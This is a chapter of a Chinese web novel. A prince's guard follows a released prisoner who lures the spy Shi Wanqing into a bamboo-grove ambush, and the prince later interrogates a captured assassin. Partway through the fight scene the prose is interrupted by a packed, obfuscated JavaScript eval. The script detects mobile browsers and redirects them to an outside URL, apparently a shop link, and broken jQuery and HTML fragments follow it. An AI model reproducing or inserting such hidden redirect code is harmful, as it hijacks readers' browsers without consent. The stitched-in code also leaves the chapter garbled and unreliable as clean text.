25. 引出

作品:《别想跑!本殿非你不可

    刘惇看着他,长久没说话。


    就在尹忠快要放弃的时候,他终于纡尊降贵地应了一声,“可。”


    尹忠闻言,瞬间兴奋起来,直起上半身道:“我告诉你。”


    刘惇:“说。”


    尹忠解释道:“我只见过她一次,是个漂亮的小娘子。”


    刘惇的手微微收紧,就听尹忠继续道:“她来找我们老大问过铜镜有没有找到,她说,如果有消息了,就去永兴阁找万晴。”


    刘惇沉声,“永兴阁,万晴?”


    内心闪过一抹失望,不是黎黎。


    挥了挥手,“将他带走,去永兴阁。”


    “是!”


    阿二、阿四齐齐应了一声。


    达成所愿的尹忠走出大牢,脚步都透着欢快,独留童百年一人孤独地待在里面。


    永兴阁。


    不知怎的,石婉晴的右眼一直跳个不停。


    即使伸手捂上去,仍然不见停,弄得她心烦意乱。


    就在这时,楼下一个熟悉的身影走了进来。


    此人不是别人,正是尹忠。


    尹忠对着齐掌柜作了一揖,彬彬有礼地询问道:“敢问,你们这里有个叫万晴的吗?”


    阿四不远不近地跟在他的右后方,负责监视。


    闻言,默默竖起耳朵。


    齐掌柜仔细打量了他一眼,东家倒是吩咐过,如果有西山黑市的人来寻她,就请上去。


    可……前不久,西山黑市不是被朝廷覆灭了吗?


    遂齐掌柜存了一丝警惕,“敢问客官,来自哪儿?”


    尹忠默默指了指城外西山的方向。


    齐掌柜瞬间了然,道:“万晴乃是我们永兴阁的东家,这位壮士,还请去楼上一叙。”


    尹忠装模作样的道谢后,便跟在他的后面上了楼。


    阿四在楼下守株待兔。


    二楼,石婉晴听到脚步声,便转过头来,看到齐掌柜身后的尹忠一愣,“是你?”


    尹忠尴尬笑笑。


    没错,就是我。


    石婉晴终于明白刚刚她的右眼皮为什么狂跳不止了。


    她挥了挥手,齐掌柜微微躬了躬身,便转身下楼,将空间留给二人。


    “请坐吧!”


    石婉晴邀请他坐下。


    尹忠点头哈腰道谢后,便坐在了她的对面。


    “我记得……西山黑市不是已经覆灭了吗?”


    尹忠看着她动作优雅地拿起茶壶倒了一杯热气腾腾的茶水,点头承认道:“嗯,是的,没错,不过我运气好,提前逃走了!”


    石婉晴眼眸轻抬,她的直觉告诉她,这人没说真话。


    便继续装作若无其事地询问道:“你来找我,是找到铜镜了吗?”


    尹忠一滞,而后缓缓点了点头。


    “找到了,但我把那面铜镜放在了一处安全的地方。”


    闻言,石婉晴眼中闪过一抹亮光,“找到了?”


    尹忠点了点头,这倒不算他撒谎,找肯定是找到了,不过不在他手里就是了!


    石婉晴心中一阵激动,随即很快冷静下来。


    她要听听他是不是在骗他。


    “你在哪里找到的?”


    尹忠早就料到她会这样问,于是就把当初遇到那个放牛娃的事情如实说了。


    石婉晴心中信了大半。


    接着,尹忠大拇指和食指比划了两下,意思自然不然而喻,“那……这钱?”


    石婉晴啜饮了一口茶,“如果是真的,那这钱自然是少不了你的。”


    “好!”


    尹忠兴奋地拍了拍桌子。


    最终,石婉晴跟着他下了楼,离开了永兴阁。


    在门外守株待兔的阿四看向尹忠的身后,目光一凝,“怎么会是她?”


    她就是万晴?


    骤然想起他曾在西山黑市见过她的,没曾想,她竟是那时在黑市寻找铜镜的人?


    石婉晴感觉到被人窥视,随即望向四周。


    阿四赶忙垂下头,拿起街边摆摊的扇子挑选起来,遮住自己的脸庞。


    目光消失,石婉晴便将目光收回来。


    前面的尹忠还在不停催促着,“万姑娘,走啊!”


    “哦。”


    石婉晴淡定跟了上去。


    眼见二人缓缓离去,阿四放下手中的折扇,也不紧不慢地跟了上去。


    ——


    郁郁葱葱的竹林中,不时传来不知名的鸟叫声,两道身影一前一后走着。


    在他们身后,还跟着脚步放空的阿四。


    越往里走,石婉晴脑海中的预警便更响了。


    不知不觉间,眼中升起一抹警惕,对着前方的尹忠询问道:“还有多久能到?”


    前方的尹忠脚步一顿,转过头来打着哈哈:“到了,就快到了!”


    石婉晴猛然意识到不对,抽出手里的长刀,直指尹忠,神情肃穆,“不对,你在说谎。”


    尹忠额角不由冒出冷汗,他万万没想到眼前之人竟然这样敏锐。


    索性直接摊牌,不装了,“是的,我刚刚是在说谎。”


    石婉晴狠狠拧眉,“为什么要欺骗于我?”


    看着直指自己的刀尖,尹忠退后些许,“要怪就怪那面铜镜吧!”


    石碗晴下意识反问,“什么?”


    谁料,尹忠根本不屑于解释,而是朝后大喊了一声:“还不快动手?人我已经替你们引出来了!”


    石婉晴陡然一惊,猛然意识到自己中埋伏了。


    下意识施展轻功就跑。


    她可是身经百战的暗卫,才不会傻兮兮地调转身子迎战不知名的高手呢!


    是的,能够隐藏这么久不被她发现,石婉晴肯定来人是个高手,再加上有尹忠在,石婉晴很确定,自己不一定有一战之力。


    风在耳边呼啸,后方的阿四脸上蒙着一块黑色面巾,跟在后面穷追不舍。


    尹忠环视四周,见没人管他,当下咧嘴一笑。


    此时不跑,更待何时?


    一片竹叶落下,下一瞬,尹忠的身影已在原地消失不见。


    而此时的竹林深处,石婉晴已然和阿四大战在了一起。


    挥舞着长刀用力劈向阿四,阿四弯着后腰躲过,右手的手腕翻转,直攻向石婉晴脆弱的脖颈。


    石婉晴连忙抵挡,长刀与长刀相撞的瞬间,一片火花闪过。


    看着对方眉眼,石婉晴略感熟悉,就是想不起来在哪儿见过。


    双方旗鼓相当。


    “你到底是谁?”


    石婉晴厉声喝问。


    当然阿四是不会回答她的,只是进攻的更为猛烈了,他要把人带回去交给他家主子。


    当!当!当!


    两把长刀碰撞的瞬间,发出巨大的轰鸣。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112189|194355||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    石婉晴不住地后退着,最终棋差一招,长刀插进她的左肩。


    瞬间鲜血直流。


    石婉晴当即意识到不好,来人武功不低,如若再这样下去,她将命丧当场。


    便咬牙使出全力应战。


    手中的长刀愈加凌厉,出手更是毫不留情,招招对准阿四的命门。


    弄得阿四不得不避其锋芒。


    正要逼近,却发现刚刚还凌厉的某人,转瞬便逃也似的跃上竹子,往远处逃去。


    阿四连忙起身追赶。


    最终,石婉晴靠着密闭的竹林,终是逃之夭夭。


    阿四望着竹子下边的脚印,恨恨地咬了咬牙。


    可恶,还是被她给逃了!


    ——


    荣安府,书房内,灯火通明。


    阿四躬着腰身,将白日里发生的事情一五一十全都禀报给了刘惇,不敢有一丝一毫的隐瞒。


    “你是说,寻找铜镜的那个人是一个有着一面之缘的凌云殿宫女?”


    阿四抱拳点了点头,“是的,主子,而且我们在西山黑市搜寻找铜镜的时候还见过她。”


    凌云殿是他父皇的居所,难道这件事里还有他父皇的影子?


    刘惇暗暗猜想着。


    抬起眼眸,对着阿四道:“明日,我们进宫一趟!”


    到底怎么回事?眼见为实,耳听为虚,去凌云殿走一趟就是了。


    “是!”


    阿四赶忙应是。


    顿了半晌,刘惇看向旁边站立的阿二,问道:“地牢内的那个刺客怎么样了?”


    阿二一愣,回复道:“启禀主子,已经请府医来看过了,伤口差一点儿伤及肺腑,庆幸救济的及时,命是保住了,但……”


    刘惇抬眼,“嗯?”


    阿二只能继续道:“但他饭也不吃,水也不喝,在绝食。”


    刘惇眉头紧蹙,“走,去地牢。”


    “是。”


    两人跟在刘惇的后面朝着后院走去。


    地牢内,寂静无声,只有烛火在明明灭灭的发着光和热。


    偌大的地牢,只有顾风一人端坐在里面。


    面容虚弱,因为失血过多加上连日来没有丝毫进食,唇色苍白无力,就连身子骨都消瘦了几分。


    正在这时,听到外面铁锁链传来的声响。


    抬眸望去。


    自己唯一一次任务失败的目标缓缓走近。


    明明一句话都没说,整个地牢却硬生生下降了好几度。


    最终,绣着金丝边的黑色靴子停在了关押他的牢房面前。


    刘惇站定,看着他熟悉的面容,再一次恍然。


    无论看多少次,像,还是太像了!


    顾风倔强地抬起头,也不说话。


    但眼神如刀,似要把刘惇扎个鲜血淋漓。


    阿二和阿四站在刘惇身后充当门神,顾风的眼神他们俩自是看到了,但毫不在意。


    在他们看来,顾风现在只是个失败的阶下囚而已,哪里能翻出什么浪花来?即使眼神再凶,也不过就是个拔了牙的老虎,不足为惧。


    最终,还是顾风率先败下阵来。


    忍不住眨了眨眼睛,“说吧,你们到底想要做什么?要杀要剐,悉听尊便!”


    刘惇看着他,不放过他脸上的一丝一毫,“影中箭顾风,我对你别的不敢兴趣,不妨说说你的身世。”